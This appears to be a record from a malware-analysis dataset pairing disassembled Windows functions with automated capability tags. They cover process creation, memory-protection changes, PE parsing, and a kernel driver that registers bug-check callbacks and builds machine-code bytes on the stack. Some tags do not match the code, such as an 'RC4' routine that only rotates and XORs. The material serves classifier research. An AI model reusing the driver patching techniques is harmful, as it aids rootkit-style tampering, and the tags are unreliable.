joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001554
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0xe0]
mov qword [rbp + 0x20], rcx
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x70], 0x68
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x14000161a
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001659
lea rax, str.Failed_to_start_process:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x14010301c]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 0
add rsp, 0xe8
pop rdi
pop rbp
ret

Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140106094]
mov rbx, rcx
test esi, esi
jle 0x140001d90
mov rax, qword [0x140106098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c90
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001db2
mov rax, qword [0x140106098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140106098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001d2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001d40
add dword [0x140106094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140106098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001cb8
mov rax, qword [0x140106098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002360
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140106100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401060e0]
test rbx, rbx
je 0x1400023c4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400023bb
test eax, eax
jne 0x1400023bb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400023a0
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002600
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002618
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002620
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002630
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000267d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002674
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000267f
add rax, 0x28
cmp rax, r9
jne 0x140002660
xor eax, eax
ret

Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002710
mov rdx, qword [0x140103400]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400026fe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400026fe
cmp word [rax + 0x18], 0x20b
jne 0x1400026fe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002710
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400026e9
add rbx, 0x28
cmp rbx, rdi
je 0x140002710
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400026e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002720
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140103400]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002740
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002748
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002740
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000279d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002794
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002740
add rax, 0x28
cmp rax, r9
jne 0x140002780
xor eax, eax
ret

Function at 0x1400027a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140103400]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400027bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400027c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400027bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400027e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140103400]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002800
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002808
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002800
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002858
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000284f
test rcx, rcx
je 0x140002800
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002840
xor eax, eax
ret
Function at 0x140002860
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140103400]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000287f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002888
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400028a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140103400]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400028c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400028c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028c0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400028c0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002914
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002920
add rdx, 0x28
cmp r9, rdx
jne 0x140002900
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002930
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140103400]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002952
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002960
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002952
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002952
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002952
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400029b5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400029c8
add rdx, 0x28
cmp r10, rdx
jne 0x1400029a0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400029d7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400029e7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400029be
test ecx, ecx
jg 0x1400029d0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001270
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
lea rcx, [0x140024230]
call sub.ntoskrnl.exe_DbgPrint
mov dword [rsp + 0x20], 0xc0000001
movzx eax, byte [0x14002a5a0]
test eax, eax
je 0x1400012a0
mov dword [rsp + 0x20], 0
jmp 0x140001402
mov dword [rsp + 0x24], 0x1000
movsxd rax, dword [rsp + 0x24]
mov r8d, 0x74627567
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x14002a5a8], rax
cmp qword [0x14002a5a8], 0
jne 0x1400012dc
mov dword [rsp + 0x20], 0xc000000d
jmp 0x140001402
movsxd rax, dword [rsp + 0x24]
mov rdx, rax
mov rcx, qword [0x14002a5a8]
call fcn.1400016b0
mov rax, qword [0x14002a5a8]
mov dword [rax], 0x1348d15
mov eax, 4
imul rax, rax, 0
mov rcx, qword [0x14002a5a8]
mov dword [rcx + rax + 4], 0
mov eax, 4
imul rax, rax, 1
mov rcx, qword [0x14002a5a8]
mov dword [rcx + rax + 4], 6
mov eax, 4
imul rax, rax, 2
mov rcx, qword [0x14002a5a8]
mov dword [rcx + rax + 4], 6
mov eax, 4
imul rax, rax, 3
mov rcx, qword [0x14002a5a8]
mov dword [rcx + rax + 4], 6
lea rcx, [0x140024250]
call fcn.140001440
mov byte [0x14002a60c], 0
mov byte [0x14002a5dc], 0
lea r9, [0x140024260]
mov r8d, 2
lea rdx, [0x1400010f0]
lea rcx, [0x14002a5e0]
call qword [sym.imp.ntoskrnl.exe_KeRegisterBugCheckReasonCallback]
movzx eax, al
test eax, eax
jne 0x1400013a9
mov dword [rsp + 0x20], 0xc00000ef
jmp 0x140001402
mov byte [0x14002a5a2], 1
lea r9, [0x140024260]
mov r8d, 4
lea rdx, [0x140001070]
lea rcx, [0x14002a5b0]
call qword [sym.imp.ntoskrnl.exe_KeRegisterBugCheckReasonCallback]
movzx eax, al
test eax, eax
jne 0x1400013e2
mov dword [rsp + 0x20], 0xc00000f0
jmp 0x140001402
mov byte [0x14002a5a1], 1
mov dword [rsp + 0x20], 0
mov byte [0x14002a5a0], 1
xor eax, eax
test eax, eax
jne 0x140001288
movzx eax, byte [0x14002a5a0]
test eax, eax
jne 0x140001412
call fcn.140001570
movzx eax, byte [0x14002a5a0]
mov r8d, dword [rsp + 0x20]
mov edx, eax
lea rcx, [0x140024270]
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140001570
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
lea rcx, [0x1400242a0]
call sub.ntoskrnl.exe_DbgPrint
movzx eax, byte [0x14002a5a2]
test eax, eax
je 0x14000159f
lea rcx, [0x14002a5e0]
call qword [sym.imp.ntoskrnl.exe_KeDeregisterBugCheckReasonCallback]
mov byte [0x14002a5a2], 0
movzx eax, byte [0x14002a5a1]
test eax, eax
je 0x1400015be
lea rcx, [0x14002a5b0]
call qword [sym.imp.ntoskrnl.exe_KeDeregisterBugCheckReasonCallback]
mov byte [0x14002a5a1], 0
cmp qword [0x14002a5a8], 0
je 0x1400015ef
mov rax, qword [0x14002a5a8]
mov qword [rsp + 0x20], rax
mov qword [0x14002a5a8], 0
mov edx, 0x74627567
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov byte [0x14002a5a0], 0
lea rcx, [0x1400242c0]
call sub.ntoskrnl.exe_DbgPrint
add rsp, 0x38
ret
Function at 0x140001610
Capabilities:
Print debug messages

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x50], 0
je 0x140001636
cmp dword [rsp + 0x58], 0
jne 0x140001644
lea rcx, [0x140023f40]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001693
mov eax, dword [rsp + 0x58]
cmp rax, 0x428
jae 0x140001668
mov r8d, 0x428
mov edx, dword [rsp + 0x58]
lea rcx, [0x140023f80]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001693
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rdi, qword [rsp + 0x28]
mov rsi, qword [0x14002a5a8]
mov ecx, 0x428
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x428
xor eax, eax
test eax, eax
jne 0x140001627
mov edx, dword [rsp + 0x20]
lea rcx, [0x140023fe0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [rsp + 0x20]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140001ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x28], 0x48
mov byte [rsp + 0x29], 0x89
mov byte [rsp + 0x2a], 0x5c
mov byte [rsp + 0x2b], 0x24
mov byte [rsp + 0x2c], 8
mov byte [rsp + 0x2d], 0x48
mov byte [rsp + 0x2e], 0x89
mov byte [rsp + 0x2f], 0x74
mov byte [rsp + 0x30], 0x24
mov byte [rsp + 0x31], 0x10
mov byte [rsp + 0x32], 0x57
mov byte [rsp + 0x33], 0x48
mov byte [rsp + 0x34], 0x83
mov byte [rsp + 0x35], 0xec
mov byte [rsp + 0x36], 0x20
mov byte [rsp + 0x37], 0x49
mov byte [rsp + 0x38], 0x8b
mov byte [rsp + 0x39], 0xf8
mov byte [rsp + 0x3a], 0x8b
mov byte [rsp + 0x3b], 0xda
mov byte [rsp + 0x3c], 0x48
mov byte [rsp + 0x3d], 0x8b
mov byte [rsp + 0x3e], 0xf1
mov byte [rsp + 0x3f], 0x85
mov byte [rsp + 0x40], 0xd2
mov byte [rsp + 0x41], 0x74
mov byte [rsp + 0x42], 0xc
mov byte [rsp + 0x43], 0x83
mov byte [rsp + 0x44], 0xfa
mov byte [rsp + 0x45], 3
mov byte [rsp + 0x46], 0x75
mov byte [rsp + 0x47], 0xc
mov byte [rsp + 0x48], 0xe8
mov byte [rsp + 0x49], 0x90
mov byte [rsp + 0x4a], 0xb
mov byte [rsp + 0x4b], 0xf9
mov byte [rsp + 0x4c], 0xff
mov byte [rsp + 0x4d], 0xff
mov byte [rsp + 0x4e], 0xeb
mov byte [rsp + 0x4f], 5
mov byte [rsp + 0x50], 0xe8
mov byte [rsp + 0x51], 0xd4
mov byte [rsp + 0x52], 0xf8
mov byte [rsp + 0x53], 0xcc
mov byte [rsp + 0x54], 0xff
mov byte [rsp + 0x55], 0xff
mov byte [rsp + 0x56], 0x48
mov byte [rsp + 0x57], 0x8b
mov byte [rsp + 0x58], 5
mov byte [rsp + 0x59], 0x4d
mov byte [rsp + 0x5a], 0x73
mov byte [rsp + 0x5b], 0x10
mov eax, dword [rsp + 0x80]
and eax, 0xff
mov ecx, 1
imul rcx, rcx, 0
mov byte [rsp + rcx + 0x28], al
mov eax, dword [rsp + 0x80]
shr eax, 0x10
mov ecx, 1
imul rcx, rcx, 1
mov byte [rsp + rcx + 0x28], al
mov dword [rsp + 0x20], 0x34
mov r9d, dword [rsp + 0x90]
mov r8, qword [rsp + 0x88]
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140004ff0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140021990
add rsp, 0x78
ret

Function at 0x140001c70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x18
movzx eax, byte [rsp + 0x20]
mov byte [rsp], al
mov rax, qword [rsp + 0x28]
mov qword [rsp + 8], rax
mov dword [rsp + 4], 0
jmp 0x140001ca8
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 4], eax
jae 0x140001d01
mov eax, dword [rsp + 4]
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
sar eax, 3
mov ecx, dword [rsp + 4]
mov rdx, qword [rsp + 8]
movzx ecx, byte [rdx + rcx]
shl ecx, 5
or eax, ecx
mov ecx, dword [rsp + 4]
mov rdx, qword [rsp + 8]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 4]
movzx ecx, byte [rsp]
mov rdx, qword [rsp + 8]
movzx eax, byte [rdx + rax]
xor eax, ecx
mov ecx, dword [rsp + 4]
mov rdx, qword [rsp + 8]
mov byte [rdx + rcx], al
jmp 0x140001c9e
add rsp, 0x18
ret
Function at 0x140001eb0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [0x1400242e0]
call sub.ntoskrnl.exe_DbgPrint
cmp qword [rsp + 0x50], 0
jne 0x140001ee5
jmp 0x140002019
mov rcx, qword [rsp + 0x50]
call fcn.140005360
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001f01
jmp 0x140002019
mov rcx, qword [rsp + 0x28]
call fcn.140002360
movzx eax, al
test eax, eax
je 0x140001f17
jmp 0x140002019
mov rcx, qword [rsp + 0x28]
call fcn.1400059b0
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140001f33
jmp 0x140002019
mov dword [rsp + 0x24], 0
jmp 0x140001f47
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x40
jge 0x14000200f
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
cmp qword [rcx + rax], 0
jne 0x14000200a
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
cmp qword [rcx + rax + 8], 0
jne 0x14000200a
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
add rcx, rax
mov rax, rcx
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea rax, [0x14002b680]
lock inc dword [rax]
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x28]
xchg qword [rax], rcx
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
mov rdx, qword [rsp + 0x50]
mov qword [rcx + rax + 8], rdx
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x40
lea rcx, [0x14002a680]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
jmp 0x14000200f
jmp 0x140001f3d
xor eax, eax
test eax, eax
jne 0x140001ed8
cmp qword [rsp + 0x28], 0
je 0x14000202b
mov rcx, qword [rsp + 0x28]
call fcn.140005d90
mov rdx, qword [rsp + 0x30]
lea rcx, [0x140024300]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret
Function at 0x1400020e0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x248
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0x230], rax
lea rcx, [0x140024540]
call sub.ntoskrnl.exe_DbgPrint
mov dword [rsp + 0x20], 0xc0000001
movzx eax, byte [0x14002a618]
test eax, eax
je 0x14000212c
mov dword [rsp + 0x20], 0
jmp 0x1400022f9
lea rcx, [0x140024560]
call fcn.140001440
mov rax, qword [rsp + 0x260]
movzx eax, word [rax]
add rax, 0x10
mov r8d, 0x74636667
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [0x14002a678], rax
cmp qword [0x14002a678], 0
jne 0x14000216e
jmp 0x1400022f9
mov rax, qword [0x14002a678]
add rax, 0x10
mov rcx, qword [0x14002a678]
mov qword [rcx + 8], rax
mov rax, qword [0x14002a678]
mov rcx, qword [rsp + 0x260]
movzx ecx, word [rcx]
mov word [rax + 2], cx
mov rax, qword [0x14002a678]
mov rcx, qword [rsp + 0x260]
movzx ecx, word [rcx]
mov word [rax], cx
mov rax, qword [rsp + 0x260]
movzx eax, word [rax]
mov rcx, qword [0x14002a678]
mov rdx, qword [rsp + 0x260]
mov rdi, qword [rcx + 8]
mov rsi, qword [rdx + 8]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rdx, qword [rsp + 0x260]
lea rcx, [0x140024570]
call sub.ntoskrnl.exe_DbgPrint
mov rdx, qword [0x14002a678]
lea rcx, [0x1400245a0]
call sub.ntoskrnl.exe_DbgPrint
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov r8d, 0x100
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x260]
call fcn.140008670
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x140002235
jmp 0x1400022f9
lea rdx, [rsp + 0x30]
lea rcx, [0x1400245d0]
call sub.ntoskrnl.exe_DbgPrint
mov r8d, 0x42
lea rdx, [0x14002a630]
lea rcx, [rsp + 0x30]
call fcn.140008080
movzx eax, al
test eax, eax
jne 0x140002271
mov dword [rsp + 0x20], 0xc000000d
jmp 0x1400022f9
lea rdx, [0x14002a630]
lea rcx, [0x140024600]
call sub.ntoskrnl.exe_DbgPrint
mov edx, 0x1000
lea rcx, [0x14002a680]
call fcn.1400016b0
lea rdx, [0x14002a619]
lea rcx, [0x140002e70]
call fcn.140008390
mov qword [0x14002a620], rax
cmp qword [0x14002a620], 0
jne 0x1400022c3
mov dword [rsp + 0x20], 0xc00000ef
jmp 0x1400022f9
lea rcx, [0x140002cc0]
call fcn.140008fb0
movzx eax, al
test eax, eax
jne 0x1400022e0
mov dword [rsp + 0x20], 0xc00000f0
jmp 0x1400022f9
mov byte [0x14002a618], 1
mov dword [rsp + 0x20], 0
xor eax, eax
test eax, eax
jne 0x140002114
movzx eax, byte [0x14002a618]
test eax, eax
jne 0x14000230b
call fcn.140002e10
jmp 0x140002319
xor edx, edx
lea rcx, [0x140001d10]
call fcn.140008c00
movzx eax, byte [0x14002a618]
mov r8d, dword [rsp + 0x20]
mov edx, eax
lea rcx, [0x140024620]
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140021990
add rsp, 0x248
pop rdi
pop rsi
ret